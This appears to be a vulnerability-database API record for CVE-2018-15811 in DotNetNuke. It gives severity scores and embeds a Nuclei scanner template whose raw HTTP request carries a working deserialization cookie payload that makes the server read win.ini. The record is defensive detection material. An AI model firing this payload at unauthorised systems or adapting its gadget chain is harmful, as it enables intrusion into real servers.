{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2018-15811/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2018-15811/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2018-15811/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2018-15811/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2018-15811/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2018-15811"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2018-15811"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.74048,
      "kev": true,
      "percentile": 0.99461
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2018/CVE-2018-15811.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2018-15811\n\ninfo:\n  name: DotNetNuke 9.2 - 9.2.1 - Weak Encryption & Cookie Deserialization\n  author: pdteam\n  severity: high\n  description: |\n    DNN (DotNetNuke) versions 9.2 through 9.2.1 use a weak encryption algorithm to protect input parameters. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code execution.\n  impact: |\n    Attackers can exploit weak encryption to decrypt or tamper with input parameters and execute arbitrary code through cookie deserialization attacks.\n  remediation: |\n    Update to DotNetNuke version 9.2.2 or later which addresses the weak encryption issues.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-15811\n    - https://github.com/dnnsoftware/Dnn.Platform/releases\n    - http://packetstormsecurity.com/files/157080/DotNetNuke-Cookie-Deserialization-Remote-Code-Execution.html\n    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2018-15811\n    cwe-id: CWE-326\n    epss-score: 0.74048\n    epss-percentile: 0.99461\n    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: dnnsoftware\n    product: dotnetnuke\n    fofa-query: app=\"dotnetnuke\"\n    verified: true\n  tags: cve,cve2018,dotnetnuke,crypto,deserialization,rce,kev,dnnsoftware,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /__ HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01\n        X-Requested-With: XMLHttpRequest\n        Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key=\"name1: key1\" type=\"System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type=\"xsd:string\">C:\\Windows\\win.ini</anyType></MethodParameters><ObjectInstance xsi:type=\"FileSystemUtils\"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '[extensions]'\n          - 'for 16-bit app support'\n        condition: and\n\n      - type: status\n        status:\n          - 404\n# digest: 4b0a00483046022100f1d4e97f3c722491db836764a622d22395d161395e860880c2219e618318386402210080cc49025be12b829105f237ac21f3bf3ef2f4310d8f49ee3037f24605e8ad1b:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2018-15811"
}